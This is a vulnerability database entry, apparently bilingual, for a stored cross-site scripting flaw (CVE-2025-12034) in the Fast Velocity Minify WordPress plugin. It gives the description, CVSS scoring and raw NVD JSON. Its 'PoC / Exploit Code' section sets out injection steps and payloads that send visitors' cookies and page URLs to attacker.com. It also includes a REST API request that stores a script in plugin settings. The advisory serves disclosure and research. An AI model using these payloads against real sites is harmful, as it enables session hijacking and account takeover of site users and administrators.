Security Vulnerability Report
中文
CVE-2025-12034 CVSS 4.4 MEDIUM

CVE-2025-12034

Published: 2025-10-25 07:15:41
Last Modified: 2026-04-15 00:35:42

Description

The Fast Velocity Minify plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.5.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Fast Velocity Minify WordPress插件 <= 3.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12034 PoC: Fast Velocity Minify Stored XSS --> <!-- Requirements: WordPress admin access, Multi-site or unfiltered_html disabled --> <!-- Step 1: Navigate to Fast Velocity Minify settings --> <!-- Settings > Fast Velocity Minify > General Settings --> <!-- Step 2: Inject XSS payload in any text field (e.g., CSS file exclusion field) --> <!-- Payload: --> <img src=x onerror=this.src='https://attacker.com/log?c='+document.cookie> <!-- Step 3: Save settings --> <!-- The XSS payload is stored in database --> <!-- Step 4: When any user visits admin pages, the XSS executes --> <!-- Cookie data is sent to attacker's server --> <!-- Example JavaScript PoC for data exfiltration --> <script> (function() { var cookie = document.cookie; var data = 'cookie=' + encodeURIComponent(cookie) + '&url=' + encodeURIComponent(window.location.href); new Image().src = 'https://attacker.com/steal?' + data; })(); </script> <!-- Automated PoC using WordPress REST API --> /* POST /wp-json/wp/v2/settings Authorization: Cookie [admin cookie] Content-Type: application/json { "fast_velocity_minify_css_exclude": "</style><script>alert(document.domain)</script>" } */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12034", "sourceIdentifier": "[email protected]", "published": "2025-10-25T07:15:40.930", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Fast Velocity Minify plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.5.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/peixotorms/fast-velocity-minify/commit/55a8b53a2ec6d358f8d7ad181170b9d8112e78ab", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3383015%40fast-velocity-minify&new=3383015%40fast-velocity-minify&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1c02e03a-7f96-4efa-9071-4a76fb21900d?source=cve", "source": "[email protected]"}]}}